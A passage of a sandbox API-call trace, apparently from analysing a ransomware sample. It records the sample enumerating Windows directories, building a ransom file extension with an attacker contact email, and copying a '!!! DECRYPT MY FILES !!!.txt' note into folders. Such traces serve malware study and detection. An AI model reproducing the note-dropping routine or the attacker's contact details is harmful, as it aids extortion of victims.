cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.286] FindNextFileW (in: hFindFile=0x6d5100, lpFindFileData=0x6ebf934 | out: lpFindFileData=0x6ebf934*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef9d0a0c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0103.286] SysReAllocStringLen (in: pbstr=0x6ebf928*="c:\\bootmgr", psz="C:\\BOOTNXT", len=0xa | out: pbstr=0x6ebf928*="C:\\BOOTNXT") returned 1 [0103.286] CharLowerBuffW (in: lpsz="C:\\BOOTNXT", cchLength=0xa | out: lpsz="c:\\bootnxt") returned 0xa [0103.286] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe898, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.286] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe898, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.286] SysReAllocStringLen (in: pbstr=0x6ebf8c8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf8c8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.286] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.287] FindNextFileW (in: hFindFile=0x6d5100, lpFindFileData=0x6ebf934 | out: lpFindFileData=0x6ebf934*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xc4ee267e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4ee267e, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xf1c63cdd, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0103.287] SysReAllocStringLen (in: pbstr=0x6ebf928*="c:\\bootnxt", psz="C:\\BOOTSECT.BAK", len=0xf | out: pbstr=0x6ebf928*="C:\\BOOTSECT.BAK") returned 1 [0103.287] CharLowerBuffW (in: lpsz="C:\\BOOTSECT.BAK", cchLength=0xf | out: lpsz="c:\\bootsect.bak") returned 0xf [0103.287] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe898, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.287] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe898, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.287] SysReAllocStringLen (in: pbstr=0x6ebf8c8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf8c8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.287] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.287] FindNextFileW (in: hFindFile=0x6d5100, lpFindFileData=0x6ebf934 | out: lpFindFileData=0x6ebf934*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0103.287] FindNextFileW (in: hFindFile=0x6d5100, lpFindFileData=0x6ebf934 | out: lpFindFileData=0x6ebf934*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0103.288] SysReAllocStringLen (in: pbstr=0x6ebf668*=0x0, psz="C:\\ESD\\", len=0x7 | out: pbstr=0x6ebf668*="C:\\ESD\\") returned 1 [0103.288] CharLowerBuffW (in: lpsz="C:\\ESD\\", cchLength=0x7 | out: lpsz="c:\\esd\\") returned 0x7 [0103.288] SysReAllocStringLen (in: pbstr=0x6ebf610*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf610*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0103.288] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0103.288] FindFirstFileW (in: lpFileName="C:\\ESD\\*.*", lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5000 [0103.294] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.294] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.294] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0103.295] FindNextFileW (in: hFindFile=0x6d5100, lpFindFileData=0x6ebf934 | out: lpFindFileData=0x6ebf934*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x174ff10, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0103.295] SysReAllocStringLen (in: pbstr=0x6ebf928*="c:\\bootsect.bak", psz="C:\\hiberfil.sys", len=0xf | out: pbstr=0x6ebf928*="C:\\hiberfil.sys") returned 1 [0103.295] CharLowerBuffW (in: lpsz="C:\\hiberfil.sys", cchLength=0xf | out: lpsz="c:\\hiberfil.sys") returned 0xf [0103.295] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe898, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.295] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe898, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.295] SysReAllocStringLen (in: pbstr=0x6ebf8c8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf8c8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.295] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.295] FindNextFileW (in: hFindFile=0x6d5100, lpFindFileData=0x6ebf934 | out: lpFindFileData=0x6ebf934*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0103.295] SysReAllocStringLen (in: pbstr=0x6ebf668*=0x0, psz="C:\\Logs\\", len=0x8 | out: pbstr=0x6ebf668*="C:\\Logs\\") returned 1 [0103.295] CharLowerBuffW (in: lpsz="C:\\Logs\\", cchLength=0x8 | out: lpsz="c:\\logs\\") returned 0x8 [0103.296] SysReAllocStringLen (in: pbstr=0x6ebf610*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf610*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0103.296] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0103.296] FindFirstFileW (in: lpFileName="C:\\Logs\\*.*", lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5200 [0103.300] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.308] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5052fa31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5052fa31, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application.evtx", cAlternateFileName="APPLIC~1.EVT")) returned 1 [0103.308] SysReAllocStringLen (in: pbstr=0x6ebf660*=0x0, psz="C:\\Logs\\Application.evtx", len=0x18 | out: pbstr=0x6ebf660*="C:\\Logs\\Application.evtx") returned 1 [0103.308] CharLowerBuffW (in: lpsz="C:\\Logs\\Application.evtx", cchLength=0x18 | out: lpsz="c:\\logs\\application.evtx") returned 0x18 [0103.308] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.308] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.309] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.309] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.309] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe604, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0103.309] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe600, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0103.309] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf36c | out: lpFindFileData=0x6ebf36c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xfdf1d773, dwReserved1=0x1d1a04f, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5240 [0103.309] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0103.309] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Logs\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\logs\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0103.312] GetProcessHeap () returned 0x630000 [0103.312] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1268 [0103.312] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505ee5f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505ee5f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="HardwareEvents.evtx", cAlternateFileName="HARDWA~1.EVT")) returned 1 [0103.312] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\application.evtx", psz="C:\\Logs\\HardwareEvents.evtx", len=0x1b | out: pbstr=0x6ebf660*="C:\\Logs\\HardwareEvents.evtx") returned 1 [0103.312] CharLowerBuffW (in: lpsz="C:\\Logs\\HardwareEvents.evtx", cchLength=0x1b | out: lpsz="c:\\logs\\hardwareevents.evtx") returned 0x1b [0103.312] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.313] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.313] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.313] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.313] GetProcessHeap () returned 0x630000 [0103.313] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1268, Size=0x10) returned 0x6b1388 [0103.313] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505a2134, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505a2134, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer.evtx", cAlternateFileName="INTERN~1.EVT")) returned 1 [0103.313] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\hardwareevents.evtx", psz="C:\\Logs\\Internet Explorer.evtx", len=0x1e | out: pbstr=0x6ebf660*="C:\\Logs\\Internet Explorer.evtx") returned 1 [0103.313] CharLowerBuffW (in: lpsz="C:\\Logs\\Internet Explorer.evtx", cchLength=0x1e | out: lpsz="c:\\logs\\internet explorer.evtx") returned 0x1e [0103.313] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.313] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.313] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.313] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.313] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5057bed8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5057bed8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Key Management Service.evtx", cAlternateFileName="KEYMAN~1.EVT")) returned 1 [0103.314] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\internet explorer.evtx", psz="C:\\Logs\\Key Management Service.evtx", len=0x23 | out: pbstr=0x6ebf660*="C:\\Logs\\Key Management Service.evtx") returned 1 [0103.314] CharLowerBuffW (in: lpsz="C:\\Logs\\Key Management Service.evtx", cchLength=0x23 | out: lpsz="c:\\logs\\key management service.evtx") returned 0x23 [0103.314] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.314] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.314] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.314] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.314] GetProcessHeap () returned 0x630000 [0103.314] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1388, Size=0x14) returned 0x6b0478 [0103.314] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1dbd7c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1dbd7c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Client-Licensing-Platform%4Admin.evtx", cAlternateFileName="MICROS~1.EVT")) returned 1 [0103.314] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\key management service.evtx", psz="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx", len=0x37 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 1 [0103.314] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx", cchLength=0x37 | out: lpsz="c:\\logs\\microsoft-client-licensing-platform%4admin.evtx") returned 0x37 [0103.314] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.315] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.315] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.315] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.315] GetProcessHeap () returned 0x630000 [0103.315] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0478, Size=0x18) returned 0x6b01f8 [0103.315] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5d836e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5d836e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", cAlternateFileName="MICROS~2.EVT")) returned 1 [0103.315] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-client-licensing-platform%4admin.evtx", psz="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", len=0x56 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 1 [0103.315] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", cchLength=0x56 | out: lpsz="c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx") returned 0x56 [0103.315] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.315] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.315] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.315] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.315] GetProcessHeap () returned 0x630000 [0103.316] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b01f8, Size=0x1c) returned 0x6e9198 [0103.316] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9206ac5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9206ac5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9c0f529, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", cAlternateFileName="MICROS~3.EVT")) returned 1 [0103.316] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx", psz="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", len=0x4f | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 1 [0103.316] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", cchLength=0x4f | out: lpsz="c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx") returned 0x4f [0103.316] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.316] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.316] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.316] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.316] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, 